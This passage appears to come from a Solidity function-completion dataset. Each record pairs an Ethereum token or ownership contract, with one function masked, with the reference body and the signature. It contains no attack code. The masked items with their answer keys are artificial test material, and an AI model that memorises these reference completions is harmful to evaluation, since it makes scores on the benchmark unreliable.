contract Ownable { address private _owner; event OwnerTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal {<FILL_FUNCTION_BODY> } function owner() public view returns(address){ return _owner; } function isOwner() public view returns(bool){ return msg.sender == _owner; } modifier onlyOwner() { require(msg.sender == _owner, "it is not called by the owner"); _; } function changeOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnerTransferred(_owner, newOwner); _owner = newOwner; } function compareStr(string memory _str1,string memory _str2) internal pure returns(bool) { bool compareResult = false; if(keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2))) { compareResult = true; } return compareResult; } }
contract Ownable { address private _owner; event OwnerTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> function owner() public view returns(address){ return _owner; } function isOwner() public view returns(bool){ return msg.sender == _owner; } modifier onlyOwner() { require(msg.sender == _owner, "it is not called by the owner"); _; } function changeOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnerTransferred(_owner, newOwner); _owner = newOwner; } function compareStr(string memory _str1,string memory _str2) internal pure returns(bool) { bool compareResult = false; if(keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2))) { compareResult = true; } return compareResult; } }
_owner = msg.sender; emit OwnerTransferred(address(0), _owner);
constructor () internal
constructor () internal
30888
CANNAX
CANNAX
contract CANNAX is BurnableToken { string public constant name = "Canna Orient"; string public constant symbol = "CANNAX"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors function CANNAX () {<FILL_FUNCTION_BODY> } }
contract CANNAX is BurnableToken { string public constant name = "Canna Orient"; string public constant symbol = "CANNAX"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); <FILL_FUNCTION> }
totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner allowedAddresses[owner] = true;
function CANNAX ()
// Constructors function CANNAX ()
22384
Pausable
pause
contract Pausable is Ownable { event Pause(bool _paused); bool public paused = false; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev called by the owner to set new pause flags */ function pause() onlyOwner public {<FILL_FUNCTION_BODY> } }
contract Pausable is Ownable { event Pause(bool _paused); bool public paused = false; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { require(!paused); _; } <FILL_FUNCTION> }
paused = !paused; Pause(paused);
function pause() onlyOwner public
/** * @dev called by the owner to set new pause flags */ function pause() onlyOwner public
3899
FLiK
transfer
contract FLiK is owned { /* Public variables of the token */ string public standard = 'FLiK 0.1'; string public name; string public symbol; uint8 public decimals = 14; uint256 public totalSupply; bool public locked; uint256 public icoSince; uint256 public icoTill; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event IcoFinished(); uint256 public buyPrice = 1; /* Initializes contract with initial supply tokens to the creator of the contract */ function FLiK( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 _icoSince, uint256 _icoTill ) { totalSupply = initialSupply; balanceOf[this] = totalSupply / 100 * 90; // Give the smart contract 90% of initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes balanceOf[msg.sender] = totalSupply / 100 * 10; // Give 10% of total supply to contract owner Transfer(this, msg.sender, balanceOf[msg.sender]); if(_icoSince == 0 && _icoTill == 0) { icoSince = 1503187200; icoTill = 1505865600; } else { icoSince = _icoSince; icoTill = _icoTill; } } /* Send coins */ function transfer(address _to, uint256 _value) {<FILL_FUNCTION_BODY> } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(locked == false); // Check if smart contract is locked require(balanceOf[_from] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function buy(uint256 ethers, uint256 time) internal { require(locked == false); // Check if smart contract is locked require(time >= icoSince && time <= icoTill); // check for ico dates require(ethers > 0); // check if ethers is greater than zero uint amount = ethers / buyPrice; require(balanceOf[this] >= amount); // check if smart contract has sufficient number of tokens balanceOf[msg.sender] += amount; balanceOf[this] -= amount; Transfer(this, msg.sender, amount); } function () payable { buy(msg.value, now); } function internalIcoFinished(uint256 time) internal returns (bool) { if(time > icoTill) { uint256 unsoldTokens = balanceOf[this]; balanceOf[owner] += unsoldTokens; balanceOf[this] = 0; Transfer(this, owner, unsoldTokens); IcoFinished(); return true; } return false; } /* 0x356e2927 */ function icoFinished() onlyOwner { internalIcoFinished(now); } /* 0xd271011d */ function transferEthers() onlyOwner { owner.transfer(this.balance); } function setBuyPrice(uint256 _buyPrice) onlyOwner { buyPrice = _buyPrice; } /* locking: 0x211e28b60000000000000000000000000000000000000000000000000000000000000001 unlocking: 0x211e28b60000000000000000000000000000000000000000000000000000000000000000 */ function setLocked(bool _locked) onlyOwner { locked = _locked; } }
contract FLiK is owned { /* Public variables of the token */ string public standard = 'FLiK 0.1'; string public name; string public symbol; uint8 public decimals = 14; uint256 public totalSupply; bool public locked; uint256 public icoSince; uint256 public icoTill; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event IcoFinished(); uint256 public buyPrice = 1; /* Initializes contract with initial supply tokens to the creator of the contract */ function FLiK( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 _icoSince, uint256 _icoTill ) { totalSupply = initialSupply; balanceOf[this] = totalSupply / 100 * 90; // Give the smart contract 90% of initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes balanceOf[msg.sender] = totalSupply / 100 * 10; // Give 10% of total supply to contract owner Transfer(this, msg.sender, balanceOf[msg.sender]); if(_icoSince == 0 && _icoTill == 0) { icoSince = 1503187200; icoTill = 1505865600; } else { icoSince = _icoSince; icoTill = _icoTill; } } <FILL_FUNCTION> /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(locked == false); // Check if smart contract is locked require(balanceOf[_from] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function buy(uint256 ethers, uint256 time) internal { require(locked == false); // Check if smart contract is locked require(time >= icoSince && time <= icoTill); // check for ico dates require(ethers > 0); // check if ethers is greater than zero uint amount = ethers / buyPrice; require(balanceOf[this] >= amount); // check if smart contract has sufficient number of tokens balanceOf[msg.sender] += amount; balanceOf[this] -= amount; Transfer(this, msg.sender, amount); } function () payable { buy(msg.value, now); } function internalIcoFinished(uint256 time) internal returns (bool) { if(time > icoTill) { uint256 unsoldTokens = balanceOf[this]; balanceOf[owner] += unsoldTokens; balanceOf[this] = 0; Transfer(this, owner, unsoldTokens); IcoFinished(); return true; } return false; } /* 0x356e2927 */ function icoFinished() onlyOwner { internalIcoFinished(now); } /* 0xd271011d */ function transferEthers() onlyOwner { owner.transfer(this.balance); } function setBuyPrice(uint256 _buyPrice) onlyOwner { buyPrice = _buyPrice; } /* locking: 0x211e28b60000000000000000000000000000000000000000000000000000000000000001 unlocking: 0x211e28b60000000000000000000000000000000000000000000000000000000000000000 */ function setLocked(bool _locked) onlyOwner { locked = _locked; } }
require(locked == false); // Check if smart contract is locked require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
function transfer(address _to, uint256 _value)
/* Send coins */ function transfer(address _to, uint256 _value)
49730
StandardToken
approve
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
// To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) returns (bool)
/** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool)
32828
IbTT1
tokenURI
contract IbTT1 is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint256 private MAX_SUPPLY = 128; mapping (uint256 => string) private nftDescription; mapping (uint256 => string) private nftName; mapping (uint256 => string) private ipfsCid; string private ipfs = 'https://ipfs.io/ipfs/'; function totalSupply() public view returns (uint256) { return MAX_SUPPLY; } function renderDescription(uint256 tokenId) private view returns (string memory) { return string(abi.encodePacked(nftDescription[tokenId],"\\n\\nToken #", Strings.toString(tokenId),"\\n\\n- IPFS CID:\\n- ",ipfsCid[tokenId],"\\n\\n- Owner:\\n- 0x", Strings.toAsciiString(ownerOf(tokenId)))); } function mintNft(string memory _name, string memory _description, string memory _ipfsCid) public onlyOwner { require(_tokenIds.current() < MAX_SUPPLY,'ERROR: minting complete'); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); nftDescription[newItemId] = _description; nftName[newItemId] = _name; ipfsCid[newItemId] = _ipfsCid; _mint(_msgSender(), newItemId); } function tokenURI(uint256 tokenId) public view override returns (string memory) {<FILL_FUNCTION_BODY> } constructor() ERC721("Indivisuals by Takens Theorem", "IbTT1") {} }
contract IbTT1 is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint256 private MAX_SUPPLY = 128; mapping (uint256 => string) private nftDescription; mapping (uint256 => string) private nftName; mapping (uint256 => string) private ipfsCid; string private ipfs = 'https://ipfs.io/ipfs/'; function totalSupply() public view returns (uint256) { return MAX_SUPPLY; } function renderDescription(uint256 tokenId) private view returns (string memory) { return string(abi.encodePacked(nftDescription[tokenId],"\\n\\nToken #", Strings.toString(tokenId),"\\n\\n- IPFS CID:\\n- ",ipfsCid[tokenId],"\\n\\n- Owner:\\n- 0x", Strings.toAsciiString(ownerOf(tokenId)))); } function mintNft(string memory _name, string memory _description, string memory _ipfsCid) public onlyOwner { require(_tokenIds.current() < MAX_SUPPLY,'ERROR: minting complete'); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); nftDescription[newItemId] = _description; nftName[newItemId] = _name; ipfsCid[newItemId] = _ipfsCid; _mint(_msgSender(), newItemId); } <FILL_FUNCTION> constructor() ERC721("Indivisuals by Takens Theorem", "IbTT1") {} }
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); bytes memory json = abi.encodePacked('{"name":"',nftName[tokenId], '", "description":"',renderDescription(tokenId), '", "created_by":"Takens Theorem", "image":"',ipfs,ipfsCid[tokenId], '"}'); return string(abi.encodePacked('data:text/plain,', json));
function tokenURI(uint256 tokenId) public view override returns (string memory)
function tokenURI(uint256 tokenId) public view override returns (string memory)
18936
Ownable
transferOwnership
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner(){ require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner(){ require(msg.sender == owner); _; } <FILL_FUNCTION> }
if (newOwner != address(0)) { owner = newOwner; }
function transferOwnership(address newOwner) onlyOwner public
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public
66074
FindingNemoToken
manualswap
contract FindingNemoToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Finding Nemo"; string private constant _symbol = "FINE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _feeAddrWallet2 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _feeAddrWallet3 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 2; _feeAddr2 = 8; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external {<FILL_FUNCTION_BODY> } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract FindingNemoToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Finding Nemo"; string private constant _symbol = "FINE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _feeAddrWallet2 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _feeAddrWallet3 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 2; _feeAddr2 = 8; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} <FILL_FUNCTION> function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance);
function manualswap() external
function manualswap() external
19998
WorldElectronicSportsCoin
transferOwnership
contract WorldElectronicSportsCoin { mapping(address => uint256) public balances; mapping(address => mapping (address => uint256)) public allowed; using SafeMath for uint256; address public owner; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 private constant MAX_UINT256 = 2**256 -1 ; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); bool lock = false; constructor( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { owner = msg.sender; balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } function transferOwnership(address newOwner) onlyOwner public {<FILL_FUNCTION_BODY> } function transfer( address _to, uint256 _value ) public returns (bool) { require(balances[msg.sender] >= _value); require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value); require(_from == _to || balances[_to] <= MAX_UINT256 -_value); require(allowance >= _value); balances[_from] -= _value; balances[_to] += _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function balanceOf( address _owner ) public view returns (uint256) { return balances[_owner]; } 